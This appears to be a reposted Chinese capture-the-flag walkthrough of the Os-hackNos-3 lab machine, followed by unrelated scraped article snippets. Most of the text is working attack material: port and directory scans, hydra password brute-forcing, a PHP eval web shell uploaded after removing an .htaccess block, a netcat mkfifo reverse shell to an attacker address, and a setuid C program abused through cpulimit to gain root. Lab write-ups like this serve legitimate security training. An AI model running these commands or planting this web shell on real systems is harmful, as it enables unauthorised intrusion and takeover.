Os-hackNos-3

Os-hackNos-3

一、主机发现和端口扫描

  • 主机发现,靶机地址192.168.80.145

     arp-scan -l
    

    在这里插入图片描述

  • 端口扫描,开放了22和80端口

    nmap -P -sV 192.168.80.145
    

    在这里插入图片描述

二、信息收集

  • 访问80端口

    find the Bug
    You need extra WebSec翻译
    找到Bug
    你需要额外的网络安全
    

    在这里插入图片描述

  • 路径扫描

    dirsearch -u "http://192.168.80.145/" -e *
    

    在这里插入图片描述

  • 访问/scripts

    在这里插入图片描述

  • 查看automail.pl文件

    #!/usr/bin/perl
    #######################################################################
    #    automail.pl
    #
    #    Perl script used for remote email piping...same as as the PHP version.
    #
    #    Peter Rotich <peter@osticket.com>
    #    Copyright (c) 2006-2013 osTicket
    #    http://www.osticket.com
    #
    #    Released under the GNU General Public License WITHOUT ANY WARRANTY.
    #    See LICENSE.TXT for details.
    #
    #    vim: expandtab sw=4 ts=4 sts=4:
    ########################################################################Configuration: Enter the url and key. That is it.
    #  url=> URL to pipe.php e.g http://yourdomain.com/support/api/tickets.email
    #  key=> API Key (see admin panel on how to generate a key)%config = (url => 'http://yourdomain.com/support/api/tickets.email',key => 'API KEY HERE');#Get piped message from stdin
    while (<STDIN>) {$rawemail .= $_;
    }use LWP::UserAgent;
    $ua = LWP::UserAgent->new;$ua->agent('osTicket API Client v1.7');
    $ua->default_header('X-API-Key' => $config{'key'});
    $ua->timeout(10);use HTTP::Request::Common qw(POST);my $enc ='text/plain';
    my $req = (POST $config{'url'}, Content_Type => $enc, Content => $rawemail);
    $response = $ua->request($req);#
    # Process response
    # Add exit codes - depending on what your  MTA expects.
    # By default postfix exit codes are used - which are standard for MTAs.
    #use Switch;$code = 75;    
    switch($response->code) {case 201 { $code = 0; }case 400 { $code = 66; }case [401,403] { $code = 77; }case [415,416,417,501] { $code = 65; }case 503 { $code = 69 }case 500 { $code = 75 }
    }
    #print "RESPONSE: ". $response->code. ">>>".$code;
    exit $code;
    
    这段Perl脚本的功能是通过osTicket API将电子邮件消息发送到指定的URL,并根据响应的状态码确定退出码。1. `%config = (url => 'http://yourdomain.com/support/api/tickets.email', key => 'API KEY HERE');` - 定义了存储URL和API密钥的哈希表。
    2. `while (<STDIN>) { $rawemail .= $_; }` - 从标准输入读取管道传输的电子邮件消息并存储在变量 `$rawemail` 中。
    3. `use LWP::UserAgent; $ua = LWP::UserAgent->new; $ua->agent('osTicket API Client v1.7'); $ua->default_header('X-API-Key' => $config{'key'}); $ua->timeout(10);` - 导入LWP::UserAgent模块,创建UserAgent对象,并设置默认的用户代理和超时。
    4. `use HTTP::Request::Common qw(POST);` - 导入HTTP::Request::Common模块,并引入POST请求类型。
    5. `my $req = (POST $config{'url'}, Content_Type => $enc, Content => $rawemail); $response = $ua->request($req);` - 创建一个POST请求,将原始电子邮件消息作为内容发送到指定的URL,并获取响应。
    6. `use Switch;` - 导入Switch模块,用于实现switch语句。
    7. `switch($response->code) { case 201 {...} case 400 {...} ... }` - 用switch语句根据响应状态码选择不同的退出码(根据邮件传输代理的标准)。
    8. `exit $code;` - 根据计算得到的退出码退出脚本
    
  • 没啥价值,根据上面的提示访问/websec路径,发现一个博客和一个邮箱

    contact@hacknos.com
    

    在这里插入图片描述

  • 博客使用Glia CMS搭建的

    在这里插入图片描述

    在这里插入图片描述

三、密码爆破

  • 猜测刚才发现的邮箱就是用户名,再爬取网站信息生成密码本

    cewl http://192.168.80.145/websec/ >/tmp/passwd
    

    在这里插入图片描述

  • 密码爆破

    hydra -l contact@hacknos.com -P /tmp/passwd 192.168.80.145 http-post-form "/websec/login:username=^USER^&password=^PASS^:Wrong email or password" -V
    

    在这里插入图片描述

  • 登录系统,发现是管理员权限,版本是1.10.9

    用户名:contact@hacknos.com
    密码:Securityx
    

    在这里插入图片描述

四、漏洞利用

  • 在后台发现文件上传功能(content->file managee),上传一句话mua

    <?php @eval($_POST['glc']);?>
    

    在这里插入图片描述

  • 发现文件被上传到了assets目录,在该目录中发现了.htaccess文件禁止访问php文件,那么将deny from all删除后保存

    在这里插入图片描述

  • 使用蚁剑连接,拿到shell

    在这里插入图片描述

五、权限提升

  • nc建立连接

    kali:nc -lvnp 8848
    靶机:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash 2>&1|nc 192.168.80.139 8848 >/tmp/f然后执行python -c 'import pty; pty.spawn("/bin/bash")'
    

    在这里插入图片描述

  • 查看是否存在可以提权的命令

    find /usr/bin -type f -perm -u=s 2>/dev/null
    

    在这里插入图片描述

1.第一种方法
  • 发现cpulimit 命令,尝试用cpulimit提权

    一个用户调整CPU使用的命令,cpulimit`命令主要对长期运行的和 CPU 密集型的进程有用
    
    #include<stdio.h>
    #include<unistd.h>
    #include<stdlib.h>int main()
    {setuid(0);setgid(0);system("/bin/bash");return 0;
    }
    
  • 将上面的代码编译为exp,上传之后使用添加运行权限

    gcc cpu.c -o exp
    chmod 777 exp
    

    在这里插入图片描述

  • 使用cpulimit -l 100 -f ./exp进行提权

2.第二种方法
  • /var/local/database中发现了经过加密的内容

    Expenses
    Software Licenses,$2.78
    Maintenance,$68.87
    Mortgage Interest,$70.35
    Advertising,$9.78
    Phone,$406.80
    Insurance,$9.04
    Opss;fackespreadsheet
    

    在这里插入图片描述

  • 对密文进行解密,得到密码明文Security@x@

    https://link.csdn.net/?target=https%3A%2F%2Fwww.spammimic.com%2Fspreadsheet.php
    
  • 登录用户blackdevil,该用户是在/home目录下发现的,然后用sudo提权

    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/207995.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

晶振有哪几种?晶振旁边的两个电容起什么作用?

晶振可以分为普通晶振、温补晶振、压控晶振、恒温晶振、差分晶振。 普通晶振通常用作微处理器的时钟器件&#xff0c;主要应用于那些稳定度要求不要的设备中&#xff0c;例如电视机、微波炉。 温补晶振&#xff0c;在晶振内部采取了对晶体频率、温度特性进行补偿&#xff0c;已…

七天.NET 8操作SQLite入门到实战 - 第三天SQLite快速入门

前言 今天我们花费一个小时快速了解SQLite数据类型、SQLite常用命令和语法。 七天.NET 8操作SQLite入门到实战详细教程 第一天 SQLite 简介第二天 在 Windows 上配置 SQLite环境 EasySQLite项目源码地址 GitHub地址&#xff1a;https://github.com/YSGStudyHards/EasySQLite&…

杭电oj 2064 汉诺塔III C语言

#include <stdio.h>void main() {int n, i;long long sum[35] { 2,8,26 };for (i 3; i < 35; i)sum[i] 3 * sum[i - 1] 2;while (~scanf_s("%d", &n))printf("%lld\n", sum[n - 1]); }

海外应用速度访问慢?试试这个技术解决方案

在数字化转型的时代&#xff0c;企业需要高效、稳定、安全的网络连接来支撑全球化业务的拓展。然而&#xff0c;在进行海外应用访问时&#xff0c;经常会遇到访问速度慢的问题&#xff0c;因为跨国界的网络通信往往存在延迟和带宽限制等问题。在过去&#xff0c;企业通常会使用…

echarts 几千条分钟级别在小时级别图标上展示

需求背景解决效果ISQQW代码地址strategyChart.vue 需求背景 需要实现 秒级数据几千条在图表上显示&#xff0c;(以下是 设计图表上是按小时界别显示数据&#xff0c;后端接口为分钟级别数据) 解决效果 ISQQW代码地址 链接 strategyChart.vue <!--/** * author: liuk *…

使用 Python脚本在3DMAX中加载图像和读取图像中的像素值

如何使用Python在3dmax中加载和显示图像文件&#xff1f;我们先看下面的代码&#xff1a; *测试的3dmax文件和图像文件位于同一目录中。 from MaxPlus import BitmapManagerimage_file_path rje_gray_02_4k.exrbmp_storage MaxPlus.Factory.CreateStorage(17)bmp_info bmp…

7.HTML中列表标签

7.列表标签 7.1无序列表&#xff08;重点&#xff09; 表格是用来显示数据的&#xff0c;那么列表就是用来布局的。 列表最大的特点就是整齐&#xff0c;整洁&#xff0c;有序&#xff0c;他作为布局会更加自由和方便&#xff0c; 根据使用的情景不同&#xff0c;列表可分为三…

O2OA(翱途)开发平台 V8.2已发布,更安全、更高效、更开放

尊敬的 O2OA (翱途) 平台合作伙伴、用户以及亲爱的开发小伙伴们&#xff0c;V8.2 版本已正式发布&#xff0c;大家可以去官网上下载最新版本。 上次 8.1 的发布是在 9 月 1 日&#xff0c;又过去两个多月&#xff0c;O2OA 研发团队始终踏踏实实地做好产品的研发及优化工作&…

城市生命线下低洼地区怎么进行内涝积水监测?

城市里要是下大雨&#xff0c;低洼地区容易出现积水过多的情况&#xff0c;给我们生活带来很多不方便。但是如果有了内涝积水监测仪&#xff0c;城市就可以更加安全。这个监测仪可以实时监测积水的情况&#xff0c;在暴雨来临时及时发出预警&#xff0c;这样人们就可以避免因为…

自动化发展趋势以及自动化测试常见问题解析

前言 ⾃动化接⼝测试会越来越受到重视 在移动互联⽹时代&#xff0c;对于质量的要求⽐PC时代⾼的多&#xff0c;⽽投⼊产出⽐最⾼的⾃动化接⼝测试&#xff0c;将会是⼤部分公司的⾸选⽅向&#xff0c;但需要严格掌握⼀门语⾔ 持续集成是⽬前⾮常流⾏的开发⽅式&#xff0c;…

c语言打印金字塔

输入行数n,打印n行的金字塔。如图&#xff1a; 先分析其规律。 打印n行&#xff0c;即外层循环n次。再分析每一层的规律&#xff0c;先具体化举例&#xff0c;举一个行数为5的金字塔。可以发现每一行前面的空格呈递减趋势&#xff0c;且与行数有关系&#xff1a;空格数行数-层…

基于java和uniapp的即时聊天源码

聊天IM&#xff0c;支持单聊、群聊、朋友圈、摇一摇、附近的人、收藏、扫码、机器人、文字、图片、名片、实时音视频通话等功能。用uniapp开发&#xff0c;支持打包成多终端&#xff01; 推送&#xff1a;uniPush websocket资源&#xff1a;阿里OSS&#xff08;图片、声音、视…